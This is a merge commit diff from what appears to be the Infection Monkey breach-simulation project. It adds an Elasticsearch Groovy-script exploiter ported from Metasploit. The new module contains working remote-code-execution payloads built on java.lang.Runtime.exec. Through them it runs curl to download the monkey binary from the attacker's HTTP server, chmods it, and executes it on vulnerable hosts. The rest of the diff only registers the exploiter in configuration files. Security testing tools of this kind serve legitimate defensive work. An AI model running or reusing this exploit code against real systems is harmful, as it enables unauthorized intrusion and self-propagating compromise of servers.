Merge pull request #51 from guardicore/feature/elasticgroovy

Feature/elasticgroovy
This commit is contained in:
itaymmguardicore 2017-09-27 15:41:40 +03:00 committed by GitHub
commit 9242fe3232
5 changed files with 253 additions and 4 deletions

View File

@ -6,7 +6,7 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange from network.range import FixedRange
@ -146,6 +146,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration

View File

@ -34,7 +34,9 @@
"WmiExploiter", "WmiExploiter",
"RdpExploiter", "RdpExploiter",
"Ms08_067_Exploiter", "Ms08_067_Exploiter",
"ShellShockExploiter" "ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -14,6 +14,7 @@ class HostExploiter(object):
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
raise NotImplementedError() raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter from wmiexec import WmiExploiter
from smbexec import SmbExploiter from smbexec import SmbExploiter
@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter

View File

@ -0,0 +1,236 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self):
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:param host: VictimHost
:return:
"""
if host.os.get('type') not in self._target_os_type:
return False
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
if major > 1:
return False
if major == 1 and minor > 4:
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable(host)
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
real_host_os = self.get_host_os(host)
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else:
return self.exploit_host_windows(host, depth, src_path)
def exploit_host_windows(self, host, depth=-1, src_path=None):
"""
TODO
Will exploit windows similar to smbexec
:return:
"""
return False
def exploit_host_linux(self, host, depth=-1, src_path=None):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:return:
"""
uname_machine = str(self.get_linux_arch(host))
if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
return False
self.set_file_executable_linux(host, dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
"""
Runs the monkey
"""
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(host, cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(host, download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, host, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host)
def check_if_remote_file_exists_linux(self, host, file_path):
"""
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline)
def run_shell_command(self, host, command):
"""
Runs a single shell command and returns the result.
"""
payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload)
LOG.info("Ran the command %s on host %s", command, payload)
return result
def get_linux_arch(self, host):
"""
Returns host as per uname -m
"""
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
def get_host_os(self, host):
"""
:return: target OS
"""
return self.get_command_result(host, self.JAVA_GET_OS)
def is_vulnerable(self, host):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False
"""
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload):
"""
Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template.
"""
result = self.attack_query(host, payload)
if not result: # not vulnerable
return False
return result[0]
def attack_query(self, host, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:return: List of data fields or None
"""
response = requests.get(self.attack_url(host), data=payload)
result = self.get_results(response)
return result
def attack_url(self, host):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (host.ip_addr, ES_PORT)
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
return None

View File

@ -62,7 +62,14 @@ SCHEMA = {
"SambaCryExploiter" "SambaCryExploiter"
], ],
"title": "SambaCryExploiter" "title": "SambaCryExploiter"
} },
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovyExploiter"
},
] ]
}, },
"finger_classes": { "finger_classes": {
@ -320,7 +327,8 @@ SCHEMA = {
"Ms08_067_Exploiter", "Ms08_067_Exploiter",
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter" "SambaCryExploiter",
"ElasticGroovyExploiter"
], ],
"description": "Determines which classes to use for exploiting" "description": "Determines which classes to use for exploiting"
} }